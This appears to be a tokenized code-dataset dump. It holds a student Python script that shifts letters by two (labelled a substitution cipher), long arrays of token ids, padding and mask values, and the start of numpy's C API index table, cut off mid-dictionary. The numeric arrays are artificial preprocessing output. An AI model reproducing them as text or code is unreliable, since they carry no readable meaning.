2. Exemplars/Sub_Cipher/cipher.py
3
1230
""" Substitution Cipher Name: Mr Gorman Date: 19/11/2016 """ # Global constants CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" def process_text(text, option): """ Function to encrypt or decrypt lowercase and uppercase alpha characters based on selected option. """ processed_text = "" for char in text: if char in CHARS or char in CHARS.lower(): if option == "e": char = ord(char) + 2 if char > 90 and char < 97 or char > 122: char -= 26 elif option == "d": char = ord(char) - 2 if char < 97 and char > 90 or char < 65: char += 26 char = chr(char) processed_text += char return processed_text def get_text_from_userinput(): text = "" while text == "": text = input("Enter text: ") return text def get_option(): option = "" while option != "e" and option != "d": option = input("(E)ncrypt or (D)ecrypt? ").lower() return option def main(): option = get_option() text = get_text_from_userinput() text = process_text(text, option) print(text) if __name__ == "__main__": main()
gpl-3.0
[ 624, 4804, 26575, 29683, 272, 2812, 26, 603, 82, 598, 1025, 290, 272, 6148, 26, 5851, 15, 845, 15, 9261, 272, 408, 199, 3, 13641, 5262, 199, 16326, 275, 298, 28114, 2, 199, 199, 318, 2112, 63, 505, 8, 505, 12, 945, 304, 272, 408, 6801, 370, 14645, 503, 20090, 12141, 436, 22681, 5131, 4110, 4079, 641, 4895, 945, 14, 267, 408, 272, 7686, 63, 505, 275, 3087, 2286, 367, 1495, 315, 1318, 26, 267, 340, 1495, 315, 8518, 51, 503, 1495, 315, 8518, 51, 14, 2325, 837, 288, 340, 945, 508, 298, 69, 582, 355, 1495, 275, 6206, 8, 1560, 9, 435, 499, 355, 340, 1495, 690, 9137, 436, 1495, 665, 15997, 503, 1495, 690, 24557, 26, 490, 1495, 4862, 7875, 288, 916, 945, 508, 298, 68, 582, 355, 1495, 275, 6206, 8, 1560, 9, 446, 499, 355, 340, 1495, 665, 15997, 436, 1495, 690, 9137, 503, 1495, 665, 11738, 26, 490, 1495, 847, 7875, 288, 1495, 275, 8678, 8, 1560, 9, 267, 7686, 63, 505, 847, 1495, 2286, 372, 7686, 63, 505, 199, 199, 318, 664, 63, 505, 63, 504, 63, 751, 1210, 837, 272, 1318, 275, 3087, 272, 1830, 1318, 508, 10812, 267, 1318, 275, 1324, 480, 8468, 1318, 26, 6099, 272, 372, 1318, 199, 199, 318, 664, 63, 1422, 837, 272, 945, 275, 3087, 272, 1830, 945, 1137, 298, 69, 2, 436, 945, 1137, 298, 68, 582, 267, 945, 275, 1324, 18353, 37, 9, 78, 4997, 503, 334, 36, 9, 825, 13656, 31, 298, 680, 2325, 342, 272, 372, 945, 199, 199, 318, 2446, 837, 272, 945, 275, 664, 63, 1422, 342, 272, 1318, 275, 664, 63, 505, 63, 504, 63, 751, 1210, 342, 272, 1318, 275, 2112, 63, 505, 8, 505, 12, 945, 9, 272, 870, 8, 505, 9, 199, 199, 692, 636, 354, 363, 508, 4396, 973, 5727, 272, 2446, 342, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 4804, 26575, 29683, 272, 2812, 26, 603, 82, 598, 1025, 290, 272, 6148, 26, 5851, 15, 845, 15, 9261, 272, 408, 199, 3, 13641, 5262, 199, 16326, 275, 298, 28114, 2, 199, 199, 318, 2112, 63, 505, 8, 505, 12, 945, 304, 272, 408, 6801, 370, 14645, 503, 20090, 12141, 436, 22681, 5131, 4110, 4079, 641, 4895, 945, 14, 267, 408, 272, 7686, 63, 505, 275, 3087, 2286, 367, 1495, 315, 1318, 26, 267, 340, 1495, 315, 8518, 51, 503, 1495, 315, 8518, 51, 14, 2325, 837, 288, 340, 945, 508, 298, 69, 582, 355, 1495, 275, 6206, 8, 1560, 9, 435, 499, 355, 340, 1495, 690, 9137, 436, 1495, 665, 15997, 503, 1495, 690, 24557, 26, 490, 1495, 4862, 7875, 288, 916, 945, 508, 298, 68, 582, 355, 1495, 275, 6206, 8, 1560, 9, 446, 499, 355, 340, 1495, 665, 15997, 436, 1495, 690, 9137, 503, 1495, 665, 11738, 26, 490, 1495, 847, 7875, 288, 1495, 275, 8678, 8, 1560, 9, 267, 7686, 63, 505, 847, 1495, 2286, 372, 7686, 63, 505, 199, 199, 318, 664, 63, 505, 63, 504, 63, 751, 1210, 837, 272, 1318, 275, 3087, 272, 1830, 1318, 508, 10812, 267, 1318, 275, 1324, 480, 8468, 1318, 26, 6099, 272, 372, 1318, 199, 199, 318, 664, 63, 1422, 837, 272, 945, 275, 3087, 272, 1830, 945, 1137, 298, 69, 2, 436, 945, 1137, 298, 68, 582, 267, 945, 275, 1324, 18353, 37, 9, 78, 4997, 503, 334, 36, 9, 825, 13656, 31, 298, 680, 2325, 342, 272, 372, 945, 199, 199, 318, 2446, 837, 272, 945, 275, 664, 63, 1422, 342, 272, 1318, 275, 664, 63, 505, 63, 504, 63, 751, 1210, 342, 272, 1318, 275, 2112, 63, 505, 8, 505, 12, 945, 9, 272, 870, 8, 505, 9, 199, 199, 692, 636, 354, 363, 508, 4396, 973, 5727, 272, 2446, 342, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
mingwpy/numpy
numpy/core/code_generators/numpy_api.py
91
19731
"""Here we define the exported functions, types, etc... which need to be exported through a global C pointer. Each dictionary contains name -> index pair. Whenever you change one index, you break the ABI (and the ABI version number should be incremented). Whenever you add an item to one of the dict, the API needs to be updated. When adding a function, make sure to use the next integer not used as an index (in case you use an existing index or jump, the build will stop and raise an exception, so it should hopefully not get unnoticed). """ from __future__ import division, absolute_import, print_function from code_generators.genapi import StealRef, NonNull # index, type multiarray_global_vars = { 'NPY_NUMUSERTYPES': (7, 'int'), 'NPY_DEFAULT_ASSIGN_CASTING': (292, 'NPY_CASTING'), } multiarray_scalar_bool_values = { '_PyArrayScalar_BoolValues': (9,) } # index, annotations # please mark functions that have been checked to not need any annotations multiarray_types_api = { 'PyBigArray_Type': (1,), 'PyArray_Type': (2,), 'PyArrayDescr_Type': (3,), 'PyArrayFlags_Type': (4,), 'PyArrayIter_Type': (5,), 'PyArrayMultiIter_Type': (6,), 'PyBoolArrType_Type': (8,), 'PyGenericArrType_Type': (10,), 'PyNumberArrType_Type': (11,), 'PyIntegerArrType_Type': (12,), 'PySignedIntegerArrType_Type': (13,), 'PyUnsignedIntegerArrType_Type': (14,), 'PyInexactArrType_Type': (15,), 'PyFloatingArrType_Type': (16,), 'PyComplexFloatingArrType_Type': (17,), 'PyFlexibleArrType_Type': (18,), 'PyCharacterArrType_Type': (19,), 'PyByteArrType_Type': (20,), 'PyShortArrType_Type': (21,), 'PyIntArrType_Type': (22,), 'PyLongArrType_Type': (23,), 'PyLongLongArrType_Type': (24,), 'PyUByteArrType_Type': (25,), 'PyUShortArrType_Type': (26,), 'PyUIntArrType_Type': (27,), 'PyULongArrType_Type': (28,), 'PyULongLongArrType_Type': (29,), 'PyFloatArrType_Type': (30,), 'PyDoubleArrType_Type': (31,), 'PyLongDoubleArrType_Type': (32,), 'PyCFloatArrType_Type': (33,), 'PyCDoubleArrType_Type': (34,), 'PyCLongDoubleArrType_Type': (35,), 'PyObjectArrType_Type': (36,), 'PyStringArrType_Type': (37,), 'PyUnicodeArrType_Type': (38,), 'PyVoidArrType_Type': (39,), # End 1.5 API 'PyTimeIntegerArrType_Type': (214,), 'PyDatetimeArrType_Type': (215,), 'PyTimedeltaArrType_Type': (216,), 'PyHalfArrType_Type': (217,), 'NpyIter_Type': (218,), # End 1.6 API } #define NPY_NUMUSERTYPES (*(int *)PyArray_API[6]) #define PyBoolArrType_Type (*(PyTypeObject *)PyArray_API[7]) #define _PyArrayScalar_BoolValues ((PyBoolScalarObject *)PyArray_API[8]) multiarray_funcs_api = { 'PyArray_GetNDArrayCVersion': (0,), 'PyArray_SetNumericOps': (40,), 'PyArray_GetNumericOps': (41,), 'PyArray_INCREF': (42,), 'PyArray_XDECREF': (43,), 'PyArray_SetStringFunction': (44,), 'PyArray_DescrFromType': (45,), 'PyArray_TypeObjectFromType': (46,), 'PyArray_Zero': (47,), 'PyArray_One': (48,), 'PyArray_CastToType': (49, StealRef(2), NonNull(2)), 'PyArray_CastTo': (50,), 'PyArray_CastAnyTo': (51,), 'PyArray_CanCastSafely': (52,), 'PyArray_CanCastTo': (53,), 'PyArray_ObjectType': (54,), 'PyArray_DescrFromObject': (55,), 'PyArray_ConvertToCommonType': (56,), 'PyArray_DescrFromScalar': (57,), 'PyArray_DescrFromTypeObject': (58,), 'PyArray_Size': (59,), 'PyArray_Scalar': (60,), 'PyArray_FromScalar': (61, StealRef(2)), 'PyArray_ScalarAsCtype': (62,), 'PyArray_CastScalarToCtype': (63,), 'PyArray_CastScalarDirect': (64,), 'PyArray_ScalarFromObject': (65,), 'PyArray_GetCastFunc': (66,), 'PyArray_FromDims': (67,), 'PyArray_FromDimsAndDataAndDescr': (68, StealRef(3)), 'PyArray_FromAny': (69, StealRef(2)), 'PyArray_EnsureArray': (70, StealRef(1)), 'PyArray_EnsureAnyArray': (71, StealRef(1)), 'PyArray_FromFile': (72,), 'PyArray_FromString': (73,), 'PyArray_FromBuffer': (74,), 'PyArray_FromIter': (75, StealRef(2)), 'PyArray_Return': (76, StealRef(1)), 'PyArray_GetField': (77, StealRef(2), NonNull(2)), 'PyArray_SetField': (78, StealRef(2), NonNull(2)), 'PyArray_Byteswap': (79,), 'PyArray_Resize': (80,), 'PyArray_MoveInto': (81,), 'PyArray_CopyInto': (82,), 'PyArray_CopyAnyInto': (83,), 'PyArray_CopyObject': (84,), 'PyArray_NewCopy': (85, NonNull(1)), 'PyArray_ToList': (86,), 'PyArray_ToString': (87,), 'PyArray_ToFile': (88,), 'PyArray_Dump': (89,), 'PyArray_Dumps': (90,), 'PyArray_ValidType': (91,), 'PyArray_UpdateFlags': (92,), 'PyArray_New': (93, NonNull(1)), 'PyArray_NewFromDescr': (94, StealRef(2), NonNull([1, 2])), 'PyArray_DescrNew': (95,), 'PyArray_DescrNewFromType': (96,), 'PyArray_GetPriority': (97,), 'PyArray_IterNew': (98,), 'PyArray_MultiIterNew': (99,), 'PyArray_PyIntAsInt': (100,), 'PyArray_PyIntAsIntp': (101,), 'PyArray_Broadcast': (102,), 'PyArray_FillObjectArray': (103,), 'PyArray_FillWithScalar': (104,), 'PyArray_CheckStrides': (105,), 'PyArray_DescrNewByteorder': (106,), 'PyArray_IterAllButAxis': (107,), 'PyArray_CheckFromAny': (108, StealRef(2)), 'PyArray_FromArray': (109, StealRef(2)), 'PyArray_FromInterface': (110,), 'PyArray_FromStructInterface': (111,), 'PyArray_FromArrayAttr': (112,), 'PyArray_ScalarKind': (113,), 'PyArray_CanCoerceScalar': (114,), 'PyArray_NewFlagsObject': (115,), 'PyArray_CanCastScalar': (116,), 'PyArray_CompareUCS4': (117,), 'PyArray_RemoveSmallest': (118,), 'PyArray_ElementStrides': (119,), 'PyArray_Item_INCREF': (120,), 'PyArray_Item_XDECREF': (121,), 'PyArray_FieldNames': (122,), 'PyArray_Transpose': (123,), 'PyArray_TakeFrom': (124,), 'PyArray_PutTo': (125,), 'PyArray_PutMask': (126,), 'PyArray_Repeat': (127,), 'PyArray_Choose': (128,), 'PyArray_Sort': (129,), 'PyArray_ArgSort': (130,), 'PyArray_SearchSorted': (131,), 'PyArray_ArgMax': (132,), 'PyArray_ArgMin': (133,), 'PyArray_Reshape': (134,), 'PyArray_Newshape': (135,), 'PyArray_Squeeze': (136,), 'PyArray_View': (137, StealRef(2)), 'PyArray_SwapAxes': (138,), 'PyArray_Max': (139,), 'PyArray_Min': (140,), 'PyArray_Ptp': (141,), 'PyArray_Mean': (142,), 'PyArray_Trace': (143,), 'PyArray_Diagonal': (144,), 'PyArray_Clip': (145,), 'PyArray_Conjugate': (146,), 'PyArray_Nonzero': (147,), 'PyArray_Std': (148,), 'PyArray_Sum': (149,), 'PyArray_CumSum': (150,), 'PyArray_Prod': (151,), 'PyArray_CumProd': (152,), 'PyArray_All': (153,), 'PyArray_Any': (154,), 'PyArray_Compress': (155,), 'PyArray_Flatten': (156,), 'PyArray_Ravel': (157,), 'PyArray_MultiplyList': (158,), 'PyArray_MultiplyIntList': (159,), 'PyArray_GetPtr': (160,), 'PyArray_CompareLists': (161,), 'PyArray_AsCArray': (162, StealRef(5)), 'PyArray_As1D': (163,), 'PyArray_As2D': (164,), 'PyArray_Free': (165,), 'PyArray_Converter': (166,), 'PyArray_IntpFromSequence': (167,), 'PyArray_Concatenate': (168,), 'PyArray_InnerProduct': (169,), 'PyArray_MatrixProduct': (170,), 'PyArray_CopyAndTranspose': (171,), 'PyArray_Correlate': (172,), 'PyArray_TypestrConvert': (173,), 'PyArray_DescrConverter': (174,), 'PyArray_DescrConverter2': (175,), 'PyArray_IntpConverter': (176,), 'PyArray_BufferConverter': (177,), 'PyArray_AxisConverter': (178,), 'PyArray_BoolConverter': (179,), 'PyArray_ByteorderConverter': (180,), 'PyArray_OrderConverter': (181,), 'PyArray_EquivTypes': (182,), 'PyArray_Zeros': (183, StealRef(3)), 'PyArray_Empty': (184, StealRef(3)), 'PyArray_Where': (185,), 'PyArray_Arange': (186,), 'PyArray_ArangeObj': (187,), 'PyArray_SortkindConverter': (188,), 'PyArray_LexSort': (189,), 'PyArray_Round': (190,), 'PyArray_EquivTypenums': (191,), 'PyArray_RegisterDataType': (192,), 'PyArray_RegisterCastFunc': (193,), 'PyArray_RegisterCanCast': (194,), 'PyArray_InitArrFuncs': (195,), 'PyArray_IntTupleFromIntp': (196,), 'PyArray_TypeNumFromName': (197,), 'PyArray_ClipmodeConverter': (198,), 'PyArray_OutputConverter': (199,), 'PyArray_BroadcastToShape': (200,), '_PyArray_SigintHandler': (201,), '_PyArray_GetSigintBuf': (202,), 'PyArray_DescrAlignConverter': (203,), 'PyArray_DescrAlignConverter2': (204,), 'PyArray_SearchsideConverter': (205,), 'PyArray_CheckAxis': (206,), 'PyArray_OverflowMultiplyList': (207,), 'PyArray_CompareString': (208,), 'PyArray_MultiIterFromObjects': (209,), 'PyArray_GetEndianness': (210,), 'PyArray_GetNDArrayCFeatureVersion': (211,), 'PyArray_Correlate2': (212,), 'PyArray_NeighborhoodIterNew': (213,), # End 1.5 API 'PyArray_SetDatetimeParseFunction': (219,), 'PyArray_DatetimeToDatetimeStruct': (220,), 'PyArray_TimedeltaToTimedeltaStruct': (221,), 'PyArray_DatetimeStructToDatetime': (222,), 'PyArray_TimedeltaStructToTimedelta': (223,), # NDIter API 'NpyIter_New': (224,), 'NpyIter_MultiNew': (225,), 'NpyIter_AdvancedNew': (226,), 'NpyIter_Copy': (227,), 'NpyIter_Deallocate': (228,), 'NpyIter_HasDelayedBufAlloc': (229,), 'NpyIter_HasExternalLoop': (230,), 'NpyIter_EnableExternalLoop': (231,), 'NpyIter_GetInnerStrideArray': (232,), 'NpyIter_GetInnerLoopSizePtr': (233,), 'NpyIter_Reset': (234,), 'NpyIter_ResetBasePointers': (235,), 'NpyIter_ResetToIterIndexRange': (236,), 'NpyIter_GetNDim': (237,), 'NpyIter_GetNOp': (238,), 'NpyIter_GetIterNext': (239,), 'NpyIter_GetIterSize': (240,), 'NpyIter_GetIterIndexRange': (241,), 'NpyIter_GetIterIndex': (242,), 'NpyIter_GotoIterIndex': (243,), 'NpyIter_HasMultiIndex': (244,), 'NpyIter_GetShape': (245,), 'NpyIter_GetGetMultiIndex': (246,), 'NpyIter_GotoMultiIndex': (247,), 'NpyIter_RemoveMultiIndex': (248,), 'NpyIter_HasIndex': (249,), 'NpyIter_IsBuffered': (250,), 'NpyIter_IsGrowInner': (251,), 'NpyIter_GetBufferSize': (252,), 'NpyIter_GetIndexPtr': (253,), 'NpyIter_GotoIndex': (254,), 'NpyIter_GetDataPtrArray': (255,), 'NpyIter_GetDescrArray': (256,), 'NpyIter_GetOperandArray': (257,), 'NpyIter_GetIterView': (258,), 'NpyIter_GetReadFlags': (259,), 'NpyIter_GetWriteFlags': (260,), 'NpyIter_DebugPrint': (261,), 'NpyIter_IterationNeedsAPI': (262,), 'NpyIter_GetInnerFixedStrideArray': (263,), 'NpyIter_RemoveAxis': (264,), 'NpyIter_GetAxisStrideArray': (265,), 'NpyIter_RequiresBuffering': (266,), 'NpyIter_GetInitialDataPtrArray': (267,), 'NpyIter_CreateCompatibleStrides': (268,), # 'PyArray_CastingConverter': (269,), 'PyArray_CountNonzero': (270,), 'PyArray_PromoteTypes': (271,), 'PyArray_MinScalarType': (272,), 'PyArray_ResultType': (273,), 'PyArray_CanCastArrayTo': (274,), 'PyArray_CanCastTypeTo': (275,), 